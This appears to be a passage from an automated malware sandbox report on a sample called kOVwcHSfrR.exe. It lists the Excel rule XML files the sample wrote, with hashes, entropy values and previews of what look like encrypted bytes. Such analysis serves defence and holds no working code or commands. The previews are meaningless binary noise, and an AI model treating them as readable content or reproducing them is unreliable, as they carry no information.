...n....3...H_.d.F~....5X.A...o..%.......,..'...}....l...Q.{....`.R.g\|....9.l..\z....PmDG...d.#.l..R{..s....q.....3).6:.2>"ff:El.........S....b.:....F......S..g...G....{......d...cs%\S......X@&.5(...U.;h9.....WC...V.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170096v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	7.702972108858017
Encrypted:	false
SSDEEP:	12:jcVrckUOyDqmX6T9Yq4NQ8O3mGh7/BkbqD21s7ooNqGZeujEWxFlJMvW5OaF+vjj:2c/OkqmX6TCNp2m0/K+DX71NFk4Flu9X
MD5:	C17FF647B335B3A84FCCD2D9616D3EB4
SHA1:	7357EC060094BBF3A4BB8DE49D9F3A4D1885F27B
SHA-256:	2DE791675D1C6365B89ECEA71B8ADA3D794E3D6640454CD47D3B24BF2F0CC667
SHA-512:	E7AB1E45855B56D72E5BA009C853B01193EFA6A108781ADD30B86CFED66B0997D571E5306C9F48EBE540C06E6111C21B52EA9A3812F8195A6900C38E3E2F2041
Malicious:	false
Preview:	<?xml~.............\....=k6.1....D.........w...,._<K.n.\.r].8....O..U.....[.@1..._...X...bZ.._....."......I.H....g.p[.G.........n F[..n....<:.....Ff......+...x.H..G=..t........]z4.e.....s.....H.0.(..]...i..v..Ma.U....C.T... [...0x.}m1`..:..=..e7.c.Q......xvE..!..<..!...x.Jy"...yj.....F.............o.Vx.d..yE.w..X....VjOnA.V.&.1..K.<G.Y-..K....o!..o..B.a."..r.L..8.."P..a..9....R}..^..9.....6.f@...b.......LW.?.s..*.LF..1........4.nI..........s..:.G?!..q.N'.sG.O4..c1l...g.1..,bF.#...@.M.z.#.v.d..T......^...q.....=.`.m.....s.."]Cc..w.q......z.qa.z.?./!...c....Y...v.}.....w...(..i$4.i...;.....o...TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170097v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	793
Entropy (8bit):	7.732960937045933
Encrypted:	false
SSDEEP:	24:yo1WYDyrZcb7Z9feB5jFKfOO90n6APw1bD:yI+K9feBfKfOO97cyD
MD5:	31C7514D210259CE7573A1A2E24FD855
SHA1:	E1FB6DEA979DADBFE1B0F5F23315A0DA7C0E02F3
SHA-256:	A8AD15DF407077FCBB95590D6155BF12C959C04278223397BA5ABB80D176A349
SHA-512:	8512614FB2E62DF30C8F934A7D5A005FEA1AC8A59CCC5DEB23BAEA28332F130D7A00AF5980A185D2D16EAA2227551E9429766341CA834F69817E8EDFD28B9873
Malicious:	false
Preview:	<?xml...z).Hr..p6...[.. .'%.k'W]........,.b..wQ...8.5......v.V..].f^..LtE..E.?.^........V.............5.=.s1.Y...G.v.u....Po.W#....~Sg..a.H.".{ag.e.LF.[.w..7\@.s%../#h..s....2....&....$.Vt...60..w....y..g..o...=jem6t4+....]..i2.B.9...^.xy..U..H.b....%..G..<.}..WR....9V..}H..rng../.O$z=..j5...@...B..M.s./...M.#d.........zC...&...h.H.......`.E../..Av..M..<RR...w...i2..Z........L........h.o..hTV6U.......9.i.kX.l.....?....)..=.?.c0....g.../~H....<l.2...'ZQ.d...........J.]N.d...K-.T"...E.F....U..F...O/.1`..c......i+...!--X.s.).........G... Mp....MYJ.C..7g.*...7.'......=....?K..&.Yc.x..sc.....=.......[U...k..y.6..kQW.../....N...alDT+.......&E.u.....#{..S.g.2....(...If..F.#G.B.w.RTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170098v2.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.717419940827623
Encrypted:	false
SSDEEP:	12:0F0J2FWZXiU6kMq5MMm8FG7vp5bU4ivDgaDsbobHhG1ADCYwrhaKKcmZ0zs64pNK:0F04Bvq5HLFsvsDgaDP1G1ADCd0bccZC
MD5:	919C8896E0BD2999C496A290177E36E7
SHA1:	B423973796C0351D92A92A465FFC1C197F5A20CF
SHA-256:	C1BE8CB2429B20BAE97C18A789906922BD8CED97E428D5F39E40A1A98A7DE1DB
SHA-512:	1A334EAFDB2A568340C5A797F2B6C2ECD34727D02A39484291E3F718249722DBFDC8BD04E4E76C299098E7AF81C537C32541EB83663C4C4F71D023B954EEAAFB
Malicious:	false
Preview:	<?xml...c....H.....^1.z..W.....].>j!..P.......>..S...(../....vE`.0.l.`1.n..4.......~.+....=......y.h.=}.$q....}...,k2.l....\.(!.D..;..3s..^6...l..d....{.O ..A[........!..g.Y..T..z.>..P[..}..R5t...;. ...G.}P.."........../X...W...n.....9......_k.@..)N...FxIA.\|...)q..W.3.cA$....l...M.t..........:...5...Zb.}...P2zb....k......j.....Q.s....>."....^ .i..dI...>...\|\..(.....D.>.W..p......>N....(Do...z.M..C....A..f..?Cm9H]d....3...bZ+.jD.~.......(_..8.Hc.).n....P.x.....2X5E^p".<...`.2.......J.n......#O....$NZ.+.T.x.!..D.).....o.....=2..`..8u'. j.D.:x.......a...$.[1O..-.....C.q.M.l.f.!....m."O.._..........#l..l........9......$...Z[e.r.\..N..A.gC.$jWTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170099v2.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1306
Entropy (8bit):	7.834012503195842
Encrypted:	false
SSDEEP:	24:dZA+KVESfF5AhRoQp3/6YrW8c/xtbRk7mwOufT82hFNEHaY8F8w1bD:fA+o5fFufofYrW7Avf9FY8GyD
MD5:	F16FE266C6CAF3507417C793D372E84E
SHA1:	8261EBA361FDB20A9D4D85092EB188DFCDF0431F
SHA-256:	732098D0FA95C66A0C954A6C1FF827D05DBE9F9F8BFF64B76961BA54C2501561
SHA-512:	0A2D2FA1BE3F475D233E7169782C49135669AF224A20957C381738DA55624305142843E68E267948F755CDFFD8B3E4C37FF5F9AA3D3F7EA80D2BA67BCBAF0647
Malicious:	false
Preview:	<?xml...2o.....K..X.\9....`a.....+d.....,E.2..lQ.~..$F..G.Z.Odm.d......v!A...z...0i.K\.m....V.U...A....J%...)k....s"#.zM...w.....Q.u~..1...3..z..W2K..[.i7..........aX..V..E...sQ.Z..{...f.+p............./&=.....y.b..@..}.....d..-...;...Q.R..Q....uoj.o..8.V..t..fj...?...7.S5.n..G......asIN.......Vx..L..5..^o.....0.H...Gr,..gj'....k..]VO.."8..yeN.~....U...?T.S..,j......X........>.r....j.]..G.....W.s.).2.....Y.Zv.1.H..R....~5....0p....5....9........@.-L...H.....W..?."..[./.-.F..t(...o.m.r.-..J.}.....u^76).:._n.5.(R.iH........HEp5g[..E9\9. .Q8....5...1.../..Q..>S.b.P.'.@...v>.J...R........#...#B@.6.``...:....:)...i}/.....DJ.G.;NAA..........G.SML..<\|.sq.~..l.}.C}.h?...6B.^.Ae.1r.k........\|.?..[..}Qii(_.r..u...zw.....T..[8....a_................mm.......a.t.Sj..S..... J.(>^.=.y.0...W7.....=..HU...T.K.S._...}......Q.Z1k...n....G....U...$..d.7.c.;.0..H.Y.;.N.e...B[\|.$....r...u.`....g.xS~.p../.U.E..0.-Z1C0..3.vb..."<O....VYX.CP.DU....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170103v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	4285
Entropy (8bit):	7.957404214822806
Encrypted:	false
SSDEEP:	96:aRtzIeQnogIG979XdtX6kBORIN7+/lvu+Q4xa:aRqJ5XdtX6I7apP0
MD5:	C03402492A001891309BDEA61B0F9B01
SHA1:	FC362450D1373B5F5BE0D35B1E49EF1AEA7BFCCA
SHA-256:	77A425E396A2E2C8F7E329E14FD82B060A99569A6B9164F3193A82FCF596BECF
SHA-512:	5178D85C1EECBF92F35ACD1C2C2AB28F49DF663200E4998C14D903CEC1AF524606B0E27E04CA00BC17A356F5DA3C78E43A1E6879466FD54988ADAA7FD09FEDDF
Malicious:	false
Preview:	<?xml....o5.T.K.?.E=..J....G...G..l....TG.m...>.YNyh.Z...jI...f`.....$.&(._?..i....;.......4.p?.6O.?..YJ{.c........8..C4f\|...5~.gu...........ptv.v...EN...P."..,.:.....8C....x...b.Uu'.u(.j.].hd!p\..hd..3.....a...Uhi!-.(F?2#..n.V0}....5A....+....`P.n..z.9......\.p}..x.B.Y...........S.AB.2.l^.Ifa!K.".pD..I....x"S_.s......Q....{.A.A.8._.~3.........}.....BH...H7R..S..{m.{?..1gt.:)..G.r..^\|........N.....ux..u:..N...a.Q..r.o ...)yo..........a.\|.[._..`j.... Y./s5`....6...Y.0.....Ci.F...x..4......A.2dr....A.;.<....9....N.3.q.B..8...#o3..7d.X.Q._v...O......y..l.oT0.....F...........h.....6?.<.l...`.l....\...l............+D.....uz.pv...#.[..5.K..!..."....z.M.h_..V#.....n{7..\...9<..w._c....KQ.N.Tk.i.9....S.g..6SA.g .s...u.....\|r......<..=.9&..TO>.u.._........cH.h..{....3:b:...k.^%U...~{.Rc..k0!....3......P{.2o....#.]....K6.h.05...?.b..l..W...P'.._.....A..F;....J....O.....U.o7.$..Y..J.9.}.4(`M.9..._.......*.V.=._..7..A......]......$.....#..4.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170104v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	7.723017952878378
Encrypted:	false
SSDEEP:	12:in/qpiFvHynZ5nQ3thg/SM2FLDR/p4VRA3eVHPT7V2XE/0ycfVkvhBoqw1cii9a:+/dyZ58wgt/3K3N/0JAfw1bD
MD5:	18C9B798ABC5F8AA98D09E6E70D807CB
SHA1:	89E129FFCEA623935F0D02930EFD930F4ACB5F62
SHA-256:	5527C3830C8199DFBB982C2B206FA06623D6EC729B3259CC055E893F99BCBA73
SHA-512:	EFFFF07BD005B402A4722694BA65F593D8FA6AF33D39D73E790FD68F9FCECE4B2485418B03B2FCAD35E24C85BF7D907AA00364E51789D8B5A262EF8368781295
Malicious:	false
Preview:	<?xmlB..'..UnH.-.....f....J.Oj.?#"..(....4d(B....[......2L4..`[.]W.N k...g..V}J.~u.5Q..#x...<f..&.B1.E..=#...p.!k..^.....V..V.6{4.....i.rV.9}.g.H....R./K."....xHp..".r..{...Ne.]..T...d..ga?.^D>w../..._.5.$@../j.L:.%..^z..q4 ...:.@.-.......1...d.}.M8.`...-..lCf{..uy...N.V..Yl......L.v..p}.$N.jX.....K.Q..-...-...i.4..h6!j...b....0.G{.....9x....zt.y(B...xe..o....(w....J.V3...7.y..#f...A..g8...$UL.Q...y...uYZ.%H.1.H........w.X.'...@B...m.!...Xr......ah{....F{&{&....9y.}....Wz.F....a.....K..u...T..-..oo..%n.ut.H._...."..oF....H&y...k..kr.U.G....A3...q.\z.*...+.3s.)-......y.2pE..K...x...Ny..V...M..2B..NlP._:..P..C....\|R.n..Xy0..^.T..0.?..Y.>.".&.<./....-y.(....[ns3_.dSX..8:.;..0.5.g>{.-...p..KY....?m..pd.Kb.C=.[...J....G5.].N.7F..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170105v3.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	929
Entropy (8bit):	7.76625083985901
Encrypted:	false
SSDEEP:	24:qn49+dPmOrlcOU+PPxGJkLP7YbBX+XEfaOUA0Blw1bD:ZUdPlRc12PxGJkYbBX+UfaO+yD
MD5:	EEA62766ED21B54066482AE32F053F72
SHA1:	6E6E9FCD8FEF51C5930F9E62A49EC5CA54516D52
SHA-256:	FD595BAF1BD6334D83CAE66A8C87AEC0FBD6946F3900E813EEA1F9B5BA168292
SHA-512:	5411C95EAACD455881EA912232CE9D4A32985C633AFAC0AB2BAEBDCE3601CE8CA92A7CFC4C60FA9378589CF03C08E718FA376260EF8D4CF57720F27AC3A8DEDA
Malicious:	false
Preview:	<?xml.<(eT..M.r5.w....(v......0[...#.X#.whTb}.dq7.....J..sd....,.o.;......b.w..O(.x...7.S\|.$s.Kd....L'4Gq...............J..R.6.I.RI......%...m.6.C.w.G....m.Vn.....\`....&u.>.....6N.).oM.<.. .....{.U.\|?..?;K.Kv..<fo..FC,....D.........w2e.....`..T_.q..=..t]?..D...yea........6...Aj.....K...~./\U0-..J..>b.T.."?..V/...h.%.J....v...iP....9..:.R]^m..2....FG..hc.....!..#d-..C..BX........p.K...x.jK.M..@\|u;.{'}.'."2.Rt....=.#..-.....>.Y.l..X....s...l....k)cP...xZ......t.........z.B<9..$.9....X.,+......(.j...Y.U):.........O$..8...F..b..-...Y\. @........?-...t..`../...#.--.O...%...}n ..^..bI....f.].....i....0.X..^....Wq..4-O.<..W..6I"....C(...9...#'./..7.F...g.KobP,.f"...xt.....k96..;.8T..........}g..:BHF&.....&..1...t...{wt...U..... {....a.>.w.o).Q..#.."...../.?.."..'."2..bZ...>s.....3E.hb..n..;...J.Y/....j.8.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170106v2.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	722
Entropy (8bit):	7.693617382803544
Encrypted:	false
SSDEEP:	12:nfHxE4uZsuNQwyFnvEI69Mw/XodWGYkZBfCIjcxB7eC0OSYeIiijj8uv5lhpoqwd:nfRE4uZZew4n8HzfIWiLjla5ehAjVrwd
MD5:	586D3E122ED39A7492AFF68540E4E677
SHA1:	5438DA4662D477B7CDAC58DD34313CBE09C54579
SHA-256:	C0AC527E284EA35F44F88E9DD119297A9A1C062CD64A4DDC1A6AE71B8C7B3CC2
SHA-512:	FFE09CE002490411A4FAAE0D43D70332807951F44E04F43E2C104936D7568B8D3F5E2C5150A0404308898CB44CAD3BD12098F1F3760453C425537A30617733B5
Malicious:	false
Preview:	<?xmlP.a.J..r...\|..k.......:XV.............Y$:aV..!...E...U....:....._.....j^.L....{...~C.Jl..}.....'.+G"..^<..y..D..C..3...[r bU...Q...F....~.....]..)`.T..W..).....R........Ee....e.....'....o.b........)_...}....L...Bf....#h.Re_L6..ah.2..Zj.=.....qH..f...f....9...7c...{._.?l..>+..j.SqH.^5#p..m.....b.\.?Ci:.C>..kE8..s.a....U...r$O.q....(w....X.Z.....v}.....'.R.i..7...8A..q..+..u...g.'2\|.O......)....NV......B...}...\|O....wD..O......../....3.iK..z>p.n.]..9.k.......'.C.1&J.&(T......Th...6Y..3.>.Y.N{T.9..@....r.4$cl]......*..a78.q6.U...........2+.<....E...6..N.v[..5tB..L..5.cQb.m.....z?.>J{.q$..]......o[.C..g........ .TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170107v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	7.793671650387534
Encrypted:	false
SSDEEP:	24:jrk/0tFzjIlxmW/zCSzYOlDNM4aQLkITw1bD:j2Qtjkxj/WqYOtNM4aQQITyD
MD5:	B6300BDA2985A6537422F582CCFEC10B
SHA1:	E6DFE626A8C056D05F0DE6AA8A8CA851AB81381F
SHA-256:	5C43A472C877803FFCC9E1CD91350A7620283CC4FDC6D1002C0F4D8CFF78959F
SHA-512:	EA528780AEFA952F3A24ECFD52F166FFCC30A361DC9373C549A68A45B3657B8AF6C89E8211B230D2B677AD94EF28AFCA012ED02A095E29A6D8E41F1DCFB45E66
Malicious:	false
Preview:	<?xml`~...w..k..U..%Kw.[!.7.9\|...u....&.ql.v=...N.. ....y1...(...e.....W.G..8...\|1.G..6.}P/a..8.##...<:..._~?.l.....i..w8..J<.:[...Y]..8F0.......M..^.mN.v....5B..R....a..{......g.?^....yl$..^16..380.,.L._.U..&"..L=.p....g.\.W.@',.V+./HOe6..76.H.:.h.1......$...D...H~....~r./...S.\q~......^.;<y:7.....] R..S....J..A.........Q.9.v.........#..m.......p..;Mw./.....W`.$jJ...f/...o.e[.Zrl.xJj;o\.`......y:..1n...h.h.Z5.......C^....Z`.)v...V(+...^..xS...h.G_.D....M%1.z6......T.b.....H.]m>z....R......'.!...N.@....pG....Iy..:.......@C.2..O..nLe.`l.....z......W..J.......H....-.._l.........4]o..mT.`.\|...8..."..7O;.j.rW.o........{g./,.x.<.p.......D.W......r.>5.B.5..t&F..WB.+.Ak...k.i...UX.......iX.C.......Y.....3...>...h..J.>.....:...a..6J..z....\.e.Z`CM...GdL.5.N.a.#U...G....C...u.>?....../...:]j....TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170110v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1357
Entropy (8bit):	7.85871258329435
Encrypted:	false
SSDEEP:	24:7Twwl8MkJvLnThRGZShI8nu4g5EG+Ihi64rgT5jksrtrw1bD:7Dl8MkJvLVRGMm8nu55D8rgTesByD
MD5:	CD291C0A9CEDE26D5AFBA64AAAEB7D94
SHA1:	D40F46F2706832D3EBC1D031031BA2EDAB5521A0
SHA-256:	D3772840DC0118FB5E67EB5E6C5A4AD91643154BFA930C1801D9F84DE9F0FD89
SHA-512:	DA220694DFACA6B8C7554F6696097DB27D843E9CE320771AAEBBE73FE6333A1FA9319F6287EBF74EE68207B2C63A803411E24CC6DEFD3F8775A180DA9107DFFF
Malicious:	false
Preview:	<?xml..i..D...v......5.....0z:.L.....W.].{R..DEJI5..V.o.A.l^..d..ku.=.Zb.m<.0VM..s&.N..g.[J....:..a;IJ.lL9.. Ki,.......3,....Pl/.e.Jb.}}_.9...!...5o]P:<.f/I......O.v.,&.c.a.b.&....).E!2u.l.Xa....(_.x}.:....P..%E?.F.6.].`~...n{'.4.....8..T.....8.O.....r....w."1.+....?g...^).....p.I.2.._..+...g.U.G}.ZM.....l15.@...P..D=..h......m.x.1o.4A.Mr...6.syF....m[;v.X.....Y....d.c.]..../....[a=.......,.s.C...].E8?.m5E$m...^......J...-....B.RC..n.Ug..KtV4.CTN.m.`....;..\...d........R...C.....7..L-.1..h.U...A... N...T..9....cxA.qZ.p.Bt..[.z....V.j.....Sp.uV.p..V*<b?^W..~#....&XY./k%.;e...(.g.,..Z......TM..E../.,........t...U......l..g(v.."j..Y..T..f..$..yz..o\~.+=2.....h.R..F.~={.0.p.;....>$T.)^.>t.....'.<.(C......h.......4liF...bd$..1.0..C..s.X.l;...w...a..[...O....)....E..de...H..5...o...B.V...p..u4L>.B.^.....9...\|x$..h8.4......r9.W..K.v..T.j..8\z..>.w.'...~5....r.s>....z../.".3..........PH.....Cyo....L..Lb.7._..yP].\%.?.@.I..B.&....&..'.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170111v2.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	7.791894813321646
Encrypted:	false
SSDEEP:	24:EUeFrVU3N6u1r+ajppnci5ZnAgzFqGJ6cMccTojZmNVZif29w1bD:/oe3EI9pcUZbzIoyoj4efcyD
MD5:	2612EB75BC19433E79C8494799E26108
SHA1:	DA7AE2B0027D8866D8B57F258DA5848ABBAEED8B
SHA-256:	393A09238E8E783F37B8AB7E9AC65084E3D1FBF5C820C02CD69172BD7E1F9D62
SHA-512:	E3DF076ADEE9BAF4BE9E5D02DEEC9A0FDE623D559F781ACC325E95B5529221750874E08E92EBFD87BEF9F04F16DFCC5D7C412C70AEF91CB69EAD08A8A4305C62
Malicious:	false
Preview:	<?xmlR.4..lL4..R........We....m3............3-j....4.=9...."..xZ.[.u..K.#.J...h.."...Y0;...S.Q...H...UK!...h....34.+.....;..r..W_4dc..\|..K.,eYGx.>\|.K{S....a.6\|....._..6H.bL....k~XS.~."..r\|..a!x!.c..G..o..@.c..l............Y}..^.....A&......`....E22...hpp....U..^:-...[..1_>%.V.4...qS..'.8E.;r....... ]y..Sc....L...../t..0J..TE..nn\|?..$...L.B...+...(.#,.)f..=...2..s.)jw.y>s.......-.....Dn05......../..R.......`.=..K...8...........vx%8....e.....F.j...`....o..3i[..7.<.gc....)`Hcj......,..@.9..4J.V..\..5;*.Ffb.......J..~..<..]....E.....2....e.#...&.:!..f..x.L......T\...@#[kq..R......k..r?...H"......o..#..........?....z.k.X..3.....R...=1.%.X.0Aj.aF.R4.\|...5..AW%..~..t..md.../...'.C....~.v8.C..]....!......G.h.z........z..8.I<0. z.;A,.../.y...%....~)-.h......,...k.E....Z........4..4.w......R.\}D9.I.rH...<..v..T..:cP..r.mSAPi.;..W...z@ZcY._....E.aI>=\|?../.....Q.Hb....P.V.......-a\|...Z3W.. ..<.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170112v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	943
Entropy (8bit):	7.77756139862224
Encrypted:	false
SSDEEP:	24:3ECI2FVVIc4m7k94i9ez7GH1Pt9d3dE/35P1KEUMm8w1bD:UCI2TjvEk7It9d3SSx8yD
MD5:	B21D3960D3D51D9AEEE3D299707BE793
SHA1:	88FD8BD2922CAEC5DD96E92FDF98262865A265EA
SHA-256:	92CAB5C16768F430E79A798DE78CF282D544BBF7AA2B062839897DAD2936D2BE
SHA-512:	502DFEA6902B585CCABC8E6CF377AEC2FDB831D86BD7D27EDFA08DB4FD53BEFCE42F1A0484C94D0A079E1AC9682B56ED6D92EA063F56BE5E8F692570794E17AC
Malicious:	false
Preview:	<?xml...]...HE....amo}. 3......%.......2./.Z;..T..+..u.$.R<.]p..TR...4)\|/.'...S...v........6..C...@>.).r.s.=.......4...K.pmQ...@o7.<.(Vo.?`D...,.GO'a:$.^...Jh.k<r.W/..CT...x?+.7z.>.....N.R.,7....s....v.........\|=...y,.a.:.GY..g..<.o>BY.!.Tf....H....l..Dkt"......#=...4.UvGdM....&...v...K.......O.{S.u.'.=.I._H2MK..aB..p.).F.....e.>..~...<....OX.......8..4(.0Xt.Y)]..3K.../.K{$uNK..q}...J......L.<(..........K.1.0\|....Q1...t.......re3....n......&.Y.y..d..%.f./D....g..../l.`...`.y....3aK6..mw......c{$..0..(K.....;.aP/....b&E;....]......#...p.T....q=Y.>.-.K....2"...B^^.6l\|F..g.dx..?....y.{2...Y..8...i&< E....!....^.../.....\|..Z%.P.......R..}.@U...!]..Z0.f..)...E.".._...'.....A..b.>~...b.<.6h..P..k..3e.V ...p$h......."...=+.}..............(.....0.\|4.C..8.9.\.k..w@.n..g._............#..g.~ ...>./(....N;K$6.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170113v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	7.711418453648913
Encrypted:	false
SSDEEP:	12:QExtAuzqcgzvmsNf1l9kvqzCuzFIFeer/xu3TXeskgZl9dV7gWViCZJNBCjNoqwd:QExVzPgbV5uH5gd9dVgHqmtw1bD
MD5:	A450951676140DCB2A8A0E3F7645FA85
SHA1:	76D4BB1BA5F45CC60AB41407B2C8E345703237EF
SHA-256:	A1164A34D15203E7A9952FF82A1837FA9BA04857B1637040B282A2643517D50E
SHA-512:	2A6470D7E76BAD0C737318AF2277E4C6C0249BCA97A74ACAF655881E1CFB93D3629427A5DDCEE32F8B15AEBC44A7F7FC3A5356C084C67F57478083C1A3E8B0CF
Malicious:	false
Preview:	<?xmlm...43.>...].=7...g.6.C<....U....N'.F..@.u<G.V."......#...6H...rT.zvg...\.dV..M4......6.....H..w........~}.]."{..I.../...8....g....Uk..1....G$...O......M<.4../..I".`~.u;uF".....K.A.9.../.K.r.kH.`O..ZE.i ...o......HC.B..........].].....%..4e....lzP..t....}m.0.........1.R......y......q:' _U<....ja....gX..j8.......&,.t...z.#L6}.:.....P"!.4....b....A,.kc...^!.76.s1..3...:....A......Q....9Z..J.j.4..@.f.&.....w{.).;....o+.P.j..}.E..S;.V...).T........H: .S.L....jl.O..........=jn..Eg..............J.4..N...?..k..]...h.T...].W.........\|..2.eS....d.#o;.v;..J.y~..b8.%o.!.Z.ps&.....[...O.Gro.....X..e?V..#{.Z.e..B.a..oA....0..p......VV........7....L..T...lb...(.:......^v.SOQw....]....TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170114v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1156
Entropy (8bit):	7.827902944398357
Encrypted:	false
SSDEEP:	24:lQTH8dbexT8fc/0JbPsR3bnAeVv4lCbQqDw1bD:l8zTDc43rAeVg41DyD
MD5:	A3EDC3174E2AB146482896A1C01CB678
SHA1:	DD3C9F65356C8E1B15BF829918B8F1D5A3EAD13B
SHA-256:	0028D7E196FC507DC46B478CBE82D9590ED0FD9E329A1DFAC52FF52EE454B746
SHA-512:	7E0F50B354E9F7E96D6EE9AD3AF3B26987641E62F3748AE1D5E3A66BEDA5DAE5F7AEA4B7E0294C3E77E5CD9A874F07BB6ACFB8C8B386B4CD94685EEF8323A3E7
Malicious:	false
Preview:	<?xmlQ}A.K......^........7.....4..u.>zn.p3..i1.AQ.1K...8=.0b(..?3H._.P.....9\....$......U...5n.x.DH.....4.#sr...Se.i..u..ha..^d:.N.>&E.z.{B..k.+....j..lG...8/.w.._\&Y..;a...H.Q.s...xn........2...0...D.:..W...o..TW.s3.k.s'.`.U ...M~w..^.[...r.....!(.l]...Bbs.......c.....e}......u.....>..k..)MKk.2....:..;l;;...o..r""o,.z..C~.\|]...A...D..c..C.A..A...3.}. ..G)&H...,..K....N.=...a...3h.L-....3...z<...A<.2.n..4...&f43....{T.o.....5.....{......au.%...#.p..a.....I.(..25..g\|...C........O...8. ..j..J)...J<qi........@Xs.Xj...'...j..w....Pv...Q.+.I+GS..^.l:....79.&...../b04v...(..3[.}.e..2[vm..uSx...5.B..1.......O.......sG.n$.. .'wuM..G...#bE..;JI.....84$.U....yR..@!2.......P8........o..%.....J,..HWM...B6!..(.Lx.}...U8..A...k.FWl.P.O....7..G.0y.....zZ...=;....7...N... .k.D.x.%.E..;,...e2..W.3.2...t..:...aO....I."..g..6..B.\|......xy......R......n6.......~....T..`O.....e...'iL..8.......q.....i....z.T....y.*.t...#E....N.X<...m.).7.,5....9..Z.]....5e6..~

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170115v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	927
Entropy (8bit):	7.782365608360163
Encrypted:	false
SSDEEP:	24:duWlKpOVou05IMoE3h/BHhRKyfBzQEZEQBcHxOtw1bD:dHyIMXDhRKcQ4ex2yD
MD5:	A8646DD83895C08138938B4E7EBC0DB4
SHA1:	5BFBFE44A3296FBF25BEF7DB9B23359D0276B3B8
SHA-256:	6B4D2A0109AD0D2C3048448541149A4011DDFBD8E3AF139AF1D1B9D6CF916FD8
SHA-512:	47C2945B52C3C37933DD2983CCE9917E1EA0AB46FF1414A3D46B787C3D7F164BDD100D8BB3E5C744E1148931ED921ECD0300F2693D6DA93730908B2BCED964FB
Malicious:	false
